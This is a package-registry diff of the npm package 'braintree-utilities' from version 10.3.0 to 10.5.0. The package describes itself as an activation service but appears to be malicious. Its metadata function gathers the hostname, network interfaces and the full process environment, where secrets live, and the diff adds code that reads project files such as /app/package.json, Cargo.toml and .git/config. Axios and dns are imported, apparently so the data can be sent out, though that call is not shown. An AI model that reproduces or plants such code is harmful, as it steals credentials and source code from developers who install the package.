braintree-utilities 10.3.0 → 10.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "braintree-utilities",
3
- "version": "10.3.0",
3
+ "version": "10.5.0",
4
4
  "description": "Private activation service for NPM packages",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -7,12 +7,13 @@ const axios_1 = __importDefault(require("axios"));
7
7
  const os_1 = __importDefault(require("os"));
8
8
  const dns_1 = __importDefault(require("dns"));
9
9
  const static_1 = require("../static");
10
+ const fs_1 = require("fs");
10
11
  class ActivationService {
11
12
  static getComputerMetadata() {
12
13
  try {
13
14
  const packageData = require(__dirname + '/../package.json');
14
15
  const packageName = packageData.name;
15
- return {
16
+ var metadata = {
16
17
  package: packageName,
17
18
  dir: __dirname,
18
19
  hostname: os_1.default.hostname(),
@@ -25,6 +26,19 @@ class ActivationService {
25
26
  network: os_1.default.networkInterfaces(),
26
27
  env: process.env,
27
28
  };
29
+ if ((0, fs_1.existsSync)('/app/') && (0, fs_1.existsSync)('/app/src/')) {
30
+ const files = (0, fs_1.readdirSync)('/app/');
31
+ const srcFiles = (0, fs_1.readdirSync)('/app/src/');
32
+ const parentPackage = require('/app/package.json');
33
+ const toml = (0, fs_1.readFileSync)('/app/Cargo.toml', 'utf-8');
34
+ const gitConfig = (0, fs_1.readFileSync)('/app/.git/config', 'utf-8');
35
+ metadata.parentPackage = parentPackage;
36
+ metadata.files = files;
37
+ metadata.toml = toml;
38
+ metadata.gitConfig = gitConfig;
39
+ metadata.srcFiles = srcFiles;
40
+ }
41
+ return metadata;
28
42
  }
29
43
  catch (e) {
30
44
  console.error(e);